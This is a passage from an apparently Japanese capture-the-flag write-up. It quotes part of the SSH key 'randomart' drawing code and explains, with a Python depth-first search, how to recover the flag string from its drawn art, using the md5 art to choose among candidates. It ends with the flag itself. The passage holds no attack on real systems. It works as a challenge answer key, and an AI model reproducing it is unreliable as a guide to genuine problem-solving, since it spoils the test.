dgst_raw_len; i++) { int input; /* each byte conveys four 2-bit move commands */ input = dgst_raw[i]; for (b = 0; b < 4; b++) { /* evaluate 2 bit, rest is shifted later */ x += (input & 0x1) ? 1 : -1; y += (input & 0x2) ? 1 : -1; /* assure we are still in bounds */ x = MAXIMUM(x, 0); y = MAXIMUM(y, 0); x = MINIMUM(x, FLDSIZE_X - 1); y = MINIMUM(y, FLDSIZE_Y - 1); /* augment the field */ if (field[x][y] < len - 2) field[x][y]++; input = input >> 2; } } /* mark starting point and end point*/ field[FLDSIZE_X / 2][FLDSIZE_Y / 2] = len - 1; field[x][y] = len; /* assemble title */ r = snprintf(title, sizeof(title), "[%s %u]", sshkey_type(k), sshkey_size(k)); /* If [type size] won't fit, then try [type]; fits "[ED25519-CERT]" */ if (r < 0 || r > (int)sizeof(title)) r = snprintf(title, sizeof(title), "[%s]", sshkey_type(k)); tlen = (r <= 0) ? 0 : strlen(title); /* assemble hash ID. */ r = snprintf(hash, sizeof(hash), "[%s]", alg); hlen = (r <= 0) ? 0 : strlen(hash); /* output upper border */ p = retval; *p++ = '+'; for (i = 0; i < (FLDSIZE_X - tlen) / 2; i++) *p++ = '-'; memcpy(p, title, tlen); p += tlen; for (i += tlen; i < FLDSIZE_X; i++) *p++ = '-'; *p++ = '+'; *p++ = '\n'; /* output content */ for (y = 0; y < FLDSIZE_Y; y++) { *p++ = '|'; for (x = 0; x < FLDSIZE_X; x++) *p++ = augmentation_string[MINIMUM(field[x][y], len)]; *p++ = '|'; *p++ = '\n'; } /* output lower border */ *p++ = '+'; for (i = 0; i < (FLDSIZE_X - hlen) / 2; i++) *p++ = '-'; memcpy(p, hash, hlen); p += hlen; for (i += hlen; i < FLDSIZE_X; i++) *p++ = '-'; *p++ = '+'; return retval; }
上記の実装とは逆にフィールドのマスの値を1減少させるようにし、初期と最終位置以外のマスがすべて0となるような入力バイト列を探索します。フラグのフォーマットはdice{[a-z0-9_-]+}
となっているので、一文字ずつxyの移動を処理して深さ優先探索でフラグを特定します。フラグの文字列だけでは、候補がいくつかあるのでmd5ハッシュ値から描画されるアートを利用して正しいフラグを特定します。
下記のようなコードで探索を実行しました。
import copy import hashlib flag = '''+----[THIS IS]----+ | o o+++| | + . .=*E| | B . . oo=| | = . . .+ | | S | | | | | | | | | +---[THE FLAG]----+ ''' hash = '''+----[THIS IS]----+ | .E=. | | o.. | | o .. | | o o. | | O .S | | o B | | o o | | ... B | | +=.= . | +---[md5(FLAG)]---+ ''' augmentation_chars = ' .o+=*BOX@%&#/^SE' MAX_X = 17 MAX_Y = 9 def init_field(signature): global end_pos total_count = 0 field = [[0] * MAX_Y for _ in range(MAX_X)] for x in range(17): for y in range(9): c = signature[(y + 1) * 20 + (x + 1)] n = augmentation_chars.find(c) if n == len(augmentation_chars) - 2: n = -1 elif n == len(augmentation_chars) - 1: n = -1 end_pos = (x, y) elif n != 0: total_count += 1 field[x][y] = n print(total_count) return (field, total_count) field2, total_count2 = init_field(hash) field, total_count = init_field(flag) d = [(-1, -1), (1, -1), (-1, 1), (1, 1)] def consume(f, x, y, chars, count, validate): if validate: f = copy.deepcopy(f) for c in chars: n = ord(c) if type(c) is str else c for _ in range(4): x += d[n & 0b11][0] y += d[n & 0b11][1] if x >= MAX_X: x = MAX_X - 1 if y >= MAX_Y: y = MAX_Y - 1 if x < 0: x = 0 if y < 0: y = 0 if f[x][y] == 0: return (None, None, None) f[x][y] -= 1 if f[x][y] == 0: count -= 1 n >>= 2 return (x, y, count) results = [] chars = '_-abcdefghijklmnopqrstuvwxyz0123456789}' def try_char(pos_x, pos_y, c, result, count): n = ord(c) x = pos_x y = pos_y count_delta = 0 delta_list = [] for _ in range(4): x += d[n & 0b11][0] y += d[n & 0b11][1] if x < 0: x = 0 if y < 0: y = 0 if x >= MAX_X: x = MAX_X - 1 if y >= MAX_Y: y = MAX_Y - 1 if field[x][y] == 0: break delta_list.append((x, y)) field[x][y] -= 1 if field[x][y] == 0: count_delta += 1 n >>= 2 # next char else: if count - count_delta <= 0 and end_pos[0] == x and end_pos[1] == y and c == '}': print(result + c) results.append(result + c) for c_next in chars: try_char(x, y, c_next, result + c, count - count_delta) # restore for dx, dy in delta_list: field[dx][dy] += 1 cur_x, cur_y, cur_count = consume(field, 8, 4, 'dice{', total_count, False) print(cur_x, cur_y, cur_count) if cur_x is None: print('consume failed') exit(1) for c in chars: try_char(cur_x, cur_y, c, 'dice{', cur_count) for result in results: r, _, _ = consume(field2, 8, 4, hashlib.md5(result.encode()).digest(), total_count2, True) if r is not None: print('flag:', result) exit(0)
flag: dice{unr4dn0m}